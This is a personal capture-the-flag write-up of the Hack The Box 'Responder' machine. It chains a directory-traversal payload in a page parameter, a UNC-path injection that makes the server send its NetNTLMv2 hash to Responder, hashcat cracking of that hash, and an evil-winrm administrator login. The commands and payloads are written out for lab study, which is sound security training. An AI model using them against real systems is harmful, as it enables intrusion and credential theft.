HTB - Responder

OS: Windows
Difficulty: Very Easy

As usual, I started by enumerating the target’s open ports and services.

nmap -p- --min-rate 1000 -sV <IP>

The scan revealed:

80/tcp    open    http
5985/tcp  open    wsman

Port 80 indicated a web server, while port 5985 indicated WinRM (Windows Remote Management).

While exploring the website, I noticed that the language selection changed the URL to something similar to:

/index.php?page=french.html

The page parameter immediately stood out because it appeared to control which file the application loaded.

This led me to test whether the parameter was vulnerable to Local File Inclusion (LFI).

I did not know so I had to search google and AI but a common way of testing for LFI is attempting to access a known file on the target system using directory traversal:

../../../../../../../../windows/system32/drivers/etc/hosts

The resulting request looked like:

http://unika.htb/index.php?page=../../../../../../../../windows/system32/drivers/etc/hosts

The contents of the Windows hosts file were returned, confirming that the application was vulnerable to LFI.

Hence, whenever I see a parameter that appears to accept a filename or path, such as:

?page=
?file=
?path=
?include=
?template=

because there is always a chance where there is no proper sanitization done on the parameter, which we will be able to pass malicious input and therefore view the internal system files

⸻

I already had two important pieces of information:

1. The target was a Windows machine.
2. We had an LFI vulnerability that allowed us to control what resource the server attempted to access.

I mean the name of the machine kind of gave it away, but I probably wouldn’t have thought of using Responder if I hadn’t learned about it through the PJPT certification course material.

⸻
The following is the section of the note I personally made while studying for PJPT exam which is very relevant to this machine:

Windows Assumes Every Remote Share Requires Authentication

Windows operating systems are designed around seamless single sign-on (SSO). When you type \\<IP> in the File Explorer on our Desktop / Laptop or in this challenge within the URL -> http://unika.htb?page=\\<ip of attacker machine>/somefile:

• Windows treats that IP address as a remote Windows File Server.
• Windows assumes, "To show this user their network shares, I need to introduce who is currently logged in."
• File Explorer / victim website automatically initiates an SMB session on port 445 and sends an authentication request in the background—before it even checks whether the remote folder exists or allows anonymous access.

File Explorer Can't Use Kerberos on IP Addresses

In an Active Directory domain, Kerberos is the default authentication protocol. However, Kerberos requires a domain name (FQDN) to look up Service Principal Names (SPNs) in Active Directory (e.g., \\fileserver.marvel.local).

Because we typed an IP address \\192.168.76.133/somefile instead of a domain name:

1. Windows cannot issue a Kerberos ticket for an raw IP.
2. Windows automatically falls back to NTLM authentication.

⸻

Responder Pretended to Be an SMB Server

Your Kali machine wasn't passively sniffing traffic—Responder was running a fake SMB server listening on port 445.

When the victim machine reached out to your IP asking to connect, Responder acted like a compliant SMB server:

1. Victim: "Hi 192.168.76.133, I want to access your shares as MARVEL\fcastle."
2. Responder: "Sure! Prove it's really you. Here is a random challenge code (5fd0a679742e7eba). Encrypt this code with your password hash and send it back."
3. Victim: Encrypts the challenge using fcastle's password hash and sends the response back to Kali.

Responder took that encrypted response, logged it to your terminal as a NetNTLMv2 hash, and dropped the connection.

⸻

Copy the NTLMv2 Hash into a text file and use hashcat to try cracking the password because there is a chance where a weak password has been used. There are other alternatives such as John the Ripper
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt

-m refers to mode and 5600 corresponds to the NTLMv2. For other modes we can discover them via hashcat --help

hashcat will then crack the password if there is a match (you can use --show option to show the previously cracked result without having to crack again if you lost the result in the terminal)

But I think the actual password for this machine was badminton

⸻

WinRM

The original Nmap scan also showed:

5985/tcp open wsman

I learned that this is the default HTTP port commonly used by Windows Remote Management (WinRM).

Once we recovered valid credentials, we could use them to authenticate to WinRM.

I did not know the command so I had to use AI to search up for this part. A common tool for interacting with WinRM from Linux is Evil-WinRM:

evil-winrm -i <IP> -u administrator -p <password>

In this case:

evil-winrm -i -u administrator -p badminton

This provided a remote shell on the Windows machine and finally retrieve the flag

⸻

Looking back, the complete chain was:

Nmap
↓
Discover HTTP + WinRM
↓
Enumerate website
↓
Discover name-based virtual host
↓
Discover page parameter
↓
Identify LFI
↓
Understand Windows SMB authentication
↓
Use LFI to trigger SMB connection
↓
Responder captures NetNTLMv2
↓
Hashcat cracks the password
↓
Recovered Administrator credentials
↓
Connect through WinRM

⸻

Key Takeaways

1. Don’t stop at the obvious vulnerability

Finding LFI doesn’t necessarily mean the end goal is simply reading /etc/passwd or the Windows hosts file.

Ask:

What else can I make the vulnerable application access?

Understanding the underlying system can reveal completely different attack paths.

1. Pay attention to the operating system

Knowing that the target is Windows changed the direction of the attack.

Windows introduced concepts such as:

* SMB
* NTLM
* NetNTLMv2
* WinRM
* Active Directory

Because the same vulnerability on a Linux target could potentially lead to a very different attack chain.

1. Open ports tell you about possible future attack paths

The initial scan showed both:

80/tcp
5985/tcp

At first, WinRM wasn’t immediately useful because we didn’t have credentials.

After obtaining the Administrator password, however, that previously discovered service became the way to obtain a remote shell.

This reinforced the importance of keeping track of all discovered services, even if they aren’t immediately exploitable.

⸻

Final Thoughts

The biggest lesson from this machine was the importance of connecting concepts together.

A web vulnerability, Windows SMB authentication, NTLM, Responder, password cracking, and WinRM might initially look like completely separate topics.

But during an actual assessment, they can form one continuous attack chain:

Web vulnerability → Windows authentication → credential capture → credential recovery → remote access

That’s the kind of pattern I want to focus on documenting here—not just how to solve a particular machine, but how the pieces fit together and what I can carry forward to the next one.